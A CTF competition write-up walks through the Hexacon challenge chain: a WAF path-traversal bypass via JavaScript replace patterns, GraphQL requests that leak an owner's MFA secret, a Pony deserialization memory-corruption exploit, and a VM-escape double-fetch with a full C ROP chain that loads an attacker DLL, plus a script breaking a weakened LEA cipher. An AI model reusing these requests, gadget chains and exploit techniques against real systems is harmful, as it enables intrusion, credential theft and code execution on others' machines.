Write-up of Hexacon challenge

step1

The goal is to find the backdoor in one of the challenge. Only on non-trivial challenge is in the files: games300. I didn’t really know where to look as for me the function that gives the flag is the last place to look at: given the nature of the challenge, it is a function that is never meant to be executed, but rather studied statically. Thus, the backdoor will probably never trigger and it is extremely likely that someone will find it.

The way I solved game300 is searching on with Google where the scoreboard is stored, and I saw it is in the nvram, so I looked at nvram_write.

step 2

The web application is composed of 3 parts:

front(nginx) -> Waf (express) -> backend (express)

The goal is first to bypass the waf to read /_dev/gql on the backend.

Only one URL in the WAF use data fully controlled by the user, so I focused on it:


router.get('/:uid/files/:filename', async function (req, res, next) {
  let uid = req.params.uid;
  let filename = req.params.filename;
  if (!new RegExp('^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$').test(uid)) {
    return res.send({
      error: true,
      message: "Share uid is not valid."
    });
  }
  let url = utils.createBackendUrl(
    makeShareFileRoute(uid, filename));
    [...]
}

function makeShareFileRoute(shareUuid, name) {
  let sanitizedFilename = path.basename(name);
  return shareFileRouteTpl.replace(':uuid:', shareUuid)
    .replace(':filename:', sanitizedFilename);
}

module.exports = {
  createBackendUrl: function (uri, query = '') {
    let host = config.BACKEND_HOST;
    let port = config.BACKEND_PORT;
    //FIXME I'm lazy
    //normalize path to remove double slashes not handled by express
    return `http://${host}:${port}${path.normalize('/' + uri)}?${query}`;
  }
};

I used a feature of the function replace to get a path traversal: special variables that starts with ‘$’. I was stuck for a long time on this, I found it by bfing all combination of couple of bytes in the URL.

How we can access to /_dev/gql with:

/rest/shares/699157cb-6103-4900-957c-2a515c380793/files/..$'..$'..$'_dev$'gql

Now we need to access to a expired link with this access to GQL endpoint. We need to used a feature of the app that allows someone to give access to a share they own.

First thing to do is then to find the ID of the share of our file. We can do it with the request {fileShare(shareLink:"917a21561b01ce0ff51a064e2362d2c3070192809a3170755d1f385925d8185ee2f8ae9d3d9ab8c172e9324aae6d9807",fileId:"ef676bd0-d321-40ae-b7e5-f5a88dd2a77b"){share{id}}} .

Then, we need to find the ID of the owner. It’s not possible with a GQL request, but the public API allows that. Result is:

"share":{"id":"332dd074-60f4-4419-9f3c-28fd302acc86","owner":"f720ccfb-3748-4ac0-9bd3-62217692513d","name":"SecretStealerShare","link":"917a21561b01ce0ff51a064e2362d2c3070192809a3170755d1f385925d8185ee2f8ae9d3d9ab8c172e9324aae6d9807","isPublic":true,"validUntil":"2022-06-11T20:54:49.000Z","files":[{"id":"25eb03e5-b116-49b1-a877-206fb095e50a","name":"flag.txt"},{"id":"ef676bd0-d321-40ae-b7e5-f5a88dd2a77b","name":"payload.bin"}],"availableFor":[{"id":"96bdcb73-eae1-45e6-b4b6-b6b564fdb939"}]}

Now there is two ways to give access to a given share to a given user. First is with the public API, but we need to be owner of the share, second is with the GQL endpoint, but then we need the mfa_secret of the owner of the share to generate an OTP. Problem is that almost all requests that return a User (with a IUser reference) cast the object in PublicUser, that doesn’t contains the mfa_secret field. However, it is not casted in the error path of giveAccess request:

if (!isOtpValid) {
      return {
        owner: share.getUser(),  <== here 
        share: lookupShare(share),
        success: false,
        message: "OTP invalid"
      }

Normally, we need to use a POST request to do a mutation, which giveAccess is, but here we can only use GET or DELETE. Luckily, with the methodoveride we can use whatever we want and then we get the mfa_secret as such:

DELETE /rest/shares/699157cb-6103-4900-957c-2a515c380793/files/..$'..$'..$'_dev$'gql%3f_method=POST&query=mutation{giveAccess(id:"332dd074-60f4-4419-9f3c-28fd302acc86",otp:"fufu",username:"hhhhh"){owner{...%20on%20User{mfa_secret}}}}%23

That give us the secret:

{"data":{"giveAccess":{"owner":{"mfa_secret":"HFCV45YGFUDDGHDEEYYAQRKIDZJXSPT2HELAWZTVPAQB22CVEVSQ"}}}}

We can now generate an OTP and use the giveAccess request to give us access to the share:

DELETE /rest/shares/699157cb-6103-4900-957c-2a515c380793/files/..$'..$'..$'_dev$'gql%3f_method=POST&query=mutation{giveAccess(id:"332dd074-60f4-4419-9f3c-28fd302acc86",otp:"303600",username:"hhhhh"){success}}%23 HTTP/2

step3

For this step we needed to reverse a webserver in ponylang that allows to upload files with a specific route. Data that are sent when files are uploaded this way are serialized pony strings. We can then find a big vulnerability in the deserialization process.

    // Turn the type id into a descriptor pointer.
    uintptr_t id = *(uintptr_t*)((uintptr_t)ctx->serialise_buffer + offset);
    t = desc_table[id];

As we control the data, we can make t point to arbitrary address. It normally points to a pony_type that contains a pointer to a deserialization function that will be called juste after this function.

I found two leak: The object sent is a string, that contains 2 size fields and a field offset that is the start of the data of the string in the process. First size field is size to read, and second size of allocated data. If the first is superior to the second, the string will contains data AFTER the allocated buffer, that we can read by downloading the file.

If we put offset to a big size there is also a vulnerability:

if((offset + t->size) > ctx->serialise_size)
  {
    serialise_cleanup(ctx);
    ctx->serialise_throw();
    abort();
  }

memcpy(object, (void*)((uintptr_t)ctx->serialise_buffer + offset), t->size);

If offset is big enough, a int overflow allows us to pass the check and we can leak data BEFORE the allocated buffer.

To exploit the vulnerability, we need to find the address of a pointer that points to data we control.

My idea is to send another type of object than a string to the server. At first I used Array<string> but all strings pointers were in the same C array, so contiguous in memory. I then used a Array<Array<string>>, an array of multiple array of only 1 string. This way a lot of objects that hold a pointer to a string objects were allocated in different place. I was a able to leak such a pointer around 1/5 times.

Next step is to pivot and make a ropchain. For pivoting it is pretty easy because first pointer on the stack points to the payload I send to the server, so a gadget like pop rsp, pop XXX, [...] ret works well. The ropchain is then very simple because rsi also points to this payload, so I used a few gadgets that makes rdi points to rsi+X then call system.

step4

For this step I didn’t found the arb read, I only used the double fetch vulnerability. The goal is to leak the cookie and use the double fetch to write a ropchain on the stack.

Here is the vulnerable code:

size = this->multi_work_item->size; [1]
if ( size <= 0x400 )
{
    v2 = v11;
}
else
{
    v4 = operator new[](size);
    if ( v4 )
    {
        memset(v4, 0, size);
        v6 = (char *)v4;
    }
    else
    {
        v6 = 0i64;
    }
    v2 = v6;
}
if ( v2 )
{
    Device::CopyDataFromGuest((Device *)this->device, v2, this->multi_work_item->data, this->multi_work_item->size);[2]
    v3 = ComputeCRC32(v2, this->multi_work_item->size);[3]

The idea is to make a thread in the vm that change the size field between 0x400 and a larger size. If the change happens between [1] and [2], then we have a stack buffer overflow. If the change happens between [2] and [3], then the CRC is calculated on data on the stack that are after the buffer. As the new CRC is written in shared memory, we can read it in the guest. By repeating this operation byte by byte, we can have a leak.

leak

We have to leak more than the cookie, we want to leak also the return address to get the base address of pci_device.dll, and also the this pointer that is on the stack.

So what we do is that we setup a MultiCopy of a file of size 0x400, but the memory I mapped is more than 0x400 and the data is followed by 0xff bytes. It is because we have to detect the case when the change of the size happens before [1], in this case more than 0x400 will be copied in the heap and the CRC will be calculated on those data.

After the copy, we check all the CRCs. If a CRC is different than the CRC of the file (0x400) or the CRC of the file followed by 0xff (case when the data is copied in the heap), then we have a leak, we can then bruteforce the byte after.

In practice though, we actually bruteforce 2 bytes. Also, we have a few different cases to check if a previous leak has resulted in writing data on the stack. Indeed, even if the cookie is rewritten by 0xff because of the stack overflow vuln, it’s not a problem because threads do not return from the function until we put “ABORT” in the status of the device, se we can put the good cookie on the stack again in a later copy.

Problem is that the this pointer mustn’t be rewritten by the vulnerability, so the exploit can fail here. There is also the cases when a write happen before a leak, data are loss and it’s impossible to recover. There are also some case where I got a CRC that I don’t understand how it is calculated. There are some part of the pointers we need that never change (for example LSBs of the return address, or MSBs of pointers), so I was able to reduce the number of leaks to perform to 8 couples of bytes.

I found that on the test environment by using 6 threads we had a lot more leaks than copies, and with 1 thread it’s the opposite. Sadly on the target environment leaks are not that stable.

ropchain

The goal is to load a dll that we send by using the device normally, because LoadLibraryEx is in the leaked dll. We need to get the name of the file before loading it. For that we use FindFirstFileEx (the one that takes 6 args) that is also in pci_device.dll, to list the file that ends in “.raw” There is a chance that there is already .raw files in the directory, but we can just send a lot of times the dll to be almost guaranteed to get our dll in the first file listed.

Luckily the x86_64 call convention on Windows use the stack, so it’s easier to make a call with 6 arguments, we only need to set rcx, rdx, r8 and r9. RCX and RDX have perfect gadgets but it’s a bit more tricky for R8 and R9.

We also need to copy some strings in data from the stack, but luckily we have the perfect gadget for that:

0x000eb19: lea rax, qword [rsp+0x00] ; mov rdi, qword [rsp+0x30] ; mov rsi, rax ; mov ecx, 0x10 ; rep movsb ; mov rax, qword [rsp+0x30] ; add rsp, 0x18 ; pop rdi ; pop rsi ; ret

Here is the ropchain with the all the gadgets:

0x00b343e: pop r15 ; ret ;
0x0010b9d: pop rcx ; ret ;
0x0010abd: pop rdx ; ret ;
0x008ac9b: sub r8d, ecx ; mov eax, r8d ; ret ;
0x009b3f3: inc ecx ; mov r8, rcx ; cmp r9, rdx ; jne 0x000000018009B3E6 ; mov rax, r8 ; ret ;
0x00529e2: mov rdx, rax ; mov rax, rdx ; add rsp, 0x28 ; ret ;
0x000eb19: lea rax, qword [rsp+0x00] ; mov rdi, qword [rsp+0x30] ; mov rsi, rax ; mov ecx, 0x00000010 ; rep movsb ; mov rax, qword [rsp+0x30] ; add rsp, 0x18 ; pop rdi ; pop rsi ; ret
0x0001258: add rsp, 0x18 ; ret ;

0x18007c3c4: mov rax, qword [rcx] ; ret ;
0x180047207: add rax, rcx ; ret ;
0x18004c853: mov r8, rdx ; mov qword [rcx+0x08], r8 ; mov rax, rcx ; ret ; 
0x1800a89a3: mov r9, rdx ; mov r10, rcx ; cmp r8d,  [rcx] ; je 0x00000001800A89B1 ; mov al, 0x01 ; ret ;
0x18007e3c2: add rsp, 0x38 ; ret ;
0x1800b5d3b: pop rdi ; ret ;
0x1800b6c21: pop rsi ; ret ;
0x180045d9b: rep movsb ; pop rsi ; pop rdi ; ret ; 
0x18009ac87: mov qword [rcx], rdx ; ret ;
0x1800ba37a: ret ;
*/

#define ADD_RSP 0x0001258
#define POP_R15 0x00b343e
#define POP_RCX 0x0010b9d
#define POP_RDX 0x0010abd
#define SUB_R8 0x08ac9b
#define COPY_STR 0x000eb19
#define INC_FU 0x09b3f3
#define MOV_RAX 0x07c3c4
#define ADD_RAX 0x047207
#define MOV_R8 0x04c853
#define MOV_R9 0x0a89a3
#define ADD_RSP38 0x7e3c2
#define POP_RDI 0x0b5d3b
#define POP_RSI 0xb6c21
#define REP_MOVSB 0x45d9b
#define MOV_QWRCX 0x9ac87
#define RET 0xba37a

#define OFFSET_LOADLIB 0xb6c6b
#define OFFSET_ADDR_NAME 0xe2500
#define OFFSET_LEAK 0xec18
#define OFFSET_SLEEP 0x45AF0
#define OFFSET_FINDFF 0xb6d3d

struct leak
{
    uint64_t cookie;
    uint64_t pad1;
    uint64_t pad2;
    uint64_t pci_device_leak;
    uint64_t device_ptr;
};

uint64_t ropchain[0x500] = {0};

void fill_ropchain(struct leak* l, char *filename)
{
    
    uint64_t lib_base = l->pci_device_leak - OFFSET_LEAK;
    uint64_t addr_name = lib_base + OFFSET_ADDR_NAME;
    uint64_t load_library = lib_base + OFFSET_LOADLIB;
    uint64_t *rr;

    printf("lib base: %p\n",lib_base);
    printf("addr_name : %p\n", addr_name);
    printf("load lib : %p\n",load_library);

    rr = ropchain;
    *rr++ = l->cookie;
    *rr++ = 0;
    *rr++ = 0;
    *rr++ = lib_base + POP_RDX;
    *rr++ = l->device_ptr;
    *rr++ = lib_base + POP_RCX;
    *rr++ = addr_name - 0x20;
    *rr++ = lib_base + MOV_QWRCX;
    *rr++ = lib_base + RET;
    //*rr++ = 0xff;

    //copy L"C:\exploits\*.raw" in data
    *rr++ = lib_base + COPY_STR;
    memcpy(rr, filename, 0x10);
    rr++;
    rr++;
    rr++;
    *rr++ = 0xfe;
    *rr++ = 0xf5;
    *rr++ = lib_base + ADD_RSP;
    *rr++ = addr_name;
    *rr++ = 0xff;
    *rr++ = 0xff;

    *rr++ = lib_base + COPY_STR;
    memcpy(rr, filename+0x10, 0x10);
    rr++;
    rr++;
    rr++;
    *rr++ = 0xfe;
    *rr++ = 0xf5;
    *rr++ = lib_base + ADD_RSP;
    *rr++ = addr_name + 0x10;
    *rr++ = 0xff;
    *rr++ = 0xff;

    *rr++ = lib_base + COPY_STR;
    memcpy(rr, filename+0x20, 0x10);
    rr++;
    rr++;
    rr++;
    *rr++ = 0xfe;
    *rr++ = 0xf5;
    *rr++ = lib_base + ADD_RSP;
    *rr++ = addr_name + 0x20;
    *rr++ = 0xff;
    *rr++ = 0xff;

    //setup r8
    *rr++ = lib_base + POP_RCX;
    *rr++ = addr_name + 0x50;
    *rr++ = lib_base + POP_RDX;
    *rr++ = addr_name + 0x50;
    *rr++ = lib_base + MOV_R8;

    //setup r9
    *rr++ = lib_base + POP_RCX;
    *rr++ = addr_name + 0x100;
    *rr++ = lib_base + POP_RDX;
    *rr++ = 0;
    *rr++ = lib_base + MOV_R9;

    *rr++ = lib_base + POP_RCX;
    *rr++ = addr_name;

    *rr++ = lib_base + POP_RDX;
    *rr++ = 0;
    //call FindFirstFile, that will put the name of the first found file in data, at an known address
    *rr++ = lib_base + OFFSET_FINDFF;
    *rr++ = lib_base + ADD_RSP38;
    *rr++ = 0;
    *rr++ = 0;
    *rr++ = 0;
    *rr++ = 0;
    *rr++ = 0;
    *rr++ = 0;
    *rr++ = 0;


    //memcpy the name in the correct place so we have C:\exploits\name.raw somewhere in data
    *rr++ = lib_base + POP_RCX;
    *rr++ = 0x20;
    *rr++ = lib_base + POP_RDI;
    *rr++ = addr_name + 0x18;
    *rr++ = lib_base + POP_RSI;
    *rr++ = addr_name + 0x7c;
    *rr++ = lib_base + REP_MOVSB;
    *rr++ = 0xff;
    *rr++ = 0xff;


    //set r8 to 0 for loadlib
    *rr++ = lib_base + POP_RCX;
    *rr++ = addr_name + 0x100;
    *rr++ = lib_base + POP_RDX;
    *rr++ = 0 ;
    *rr++ = lib_base + MOV_R8;

    *rr++ = lib_base + POP_RCX;
    *rr++ = addr_name;
    *rr++ = lib_base + POP_RDX;
    *rr++ = 0;

    //call LoadLibrary
    *rr++ = load_library;
    
    *rr++ = lib_base + POP_RDX;
    *rr++ = 0xffffff;
    *rr++ = lib_base + OFFSET_SLEEP; // doesn't work but not needed
}

step 5

I used pyinstxtractor to get the pyc (struggling because as a mofo I didnd’t read the output of pyinstxtractor saying to use python 3.7 and they changed the marshal format after 3.7). I used uncompyle to decompile the code that encrypt the data.

The code is a modified LEA that only use xor instead of modular addition. We don’t have the key, but we have a few pairs (plaintext,ciphertext). The consequence is that as a round is only composed of rotation and xor, and rotation is distributive on xor (Rot_x(A \oplus B) = Rot_x(A) \oplus Rot_x(B)), we can compute the transformation of input and keys separately and xor them at the end.

Now there is probably an elegant formal way to write the solution but basically if we compute the 24 rounds only with the schedule keys (encrypt_K in the full script below) that we call Ke = E_k(K) and 24 rounds of the input part only(encrypt_PT) that we call Pe = E_p(P), we can find the output of the algorithm by xoring those values (C = Ke \oplus Pe).

Now with a pair (P,C), a target encrypted block C_t and the target decrypted block that we want to retrieve P_t , we have Pe = E_p(P)

C_t = Ke \oplus E_p(P_t) C = Ke \oplus Pe \iff Ke = C \oplus Pe Thus we have C_t = Ke \oplus E_p(P_t) \iff C_t = (C \oplus Pe) \oplus E_p(P_t) \iff E_p(P_t) = (C \oplus Pe) \oplus C_t

As we have C, Pe and C_t, we now have E_p(P_t). E_p^{-1}(P_t) is easily computable and implemented in _decrypt_block_PT.

Here is my python script:


from datetime import date
from glob import glob
from os import remove

def bytes_to_words(b):
    return [int.from_bytes(b[i:i + 4], 'little') for i in range(0, len(b), 4)]

def words_to_bytes(w):
    return (b'').join([i.to_bytes(4, 'little') for i in w])

def rotate_left(x, n):
    return x << n & 4294967295 | x >> 32 - n & 4294967295

def rotate_right(x, n):
    return x << 32 - n & 4294967295 | x >> n & 4294967295

def pad(b):
    padding = 16 - len(b) % 16
    return b + padding * bytes([padding])

class LEA:

    def __init__(self, key):
        self.deltas = (3287280091, 1147300610, 2044886154, 2027892972, 1902027934,
                       3347438090, 3763270186, 3854829911)
        self.round_keys = self._key_schedule(key)

    def _encrypt_block_PT(self, block):
        state = bytes_to_words(block)
        for i in range(24):
            old_state = state[:]
            state[0] = rotate_left(old_state[0] ^  old_state[1], 9)
            state[1] = rotate_right(old_state[1]  ^ old_state[2], 5)
            state[2] = rotate_right(old_state[2]  ^ old_state[3], 3)
            state[3] = old_state[0]
            #print(state)
        return state

    def _decrypt_block_PT(self, pp):
        state = pp
        for i in reversed(range(24)):
            old_state = state[:]
            state[0] = old_state[3]
            state[1] = rotate_right(old_state[0],9) ^ state[0]
            state[2] = rotate_left(old_state[1],5) ^ state[1]
            state[3] = rotate_left(old_state[2],3) ^ state[2]
        return words_to_bytes(state)


final_enc = open("unpack2/0day.py.enc","rb").read()
PT = open("unpack2/test.py.raw~","rb").read()[:16]
CT = open("unpack2/test.py.enc","rb").read()[:16]
pp = lea._encrypt_block_PT(PT)
kk = [x ^ y for x,y in zip(bytes_to_words(CT),pp)]


res = b""
for i in range(4):
    block = final_enc[i*16:(i+1)*16]
    pp = [x ^ y for x,y in zip(bytes_to_words(block),kk)]
    res += lea._decrypt_block_PT(pp)

print(res)

The challenge was really fun, thank you to the authors for the massive work you put in the challenge, that was worth it.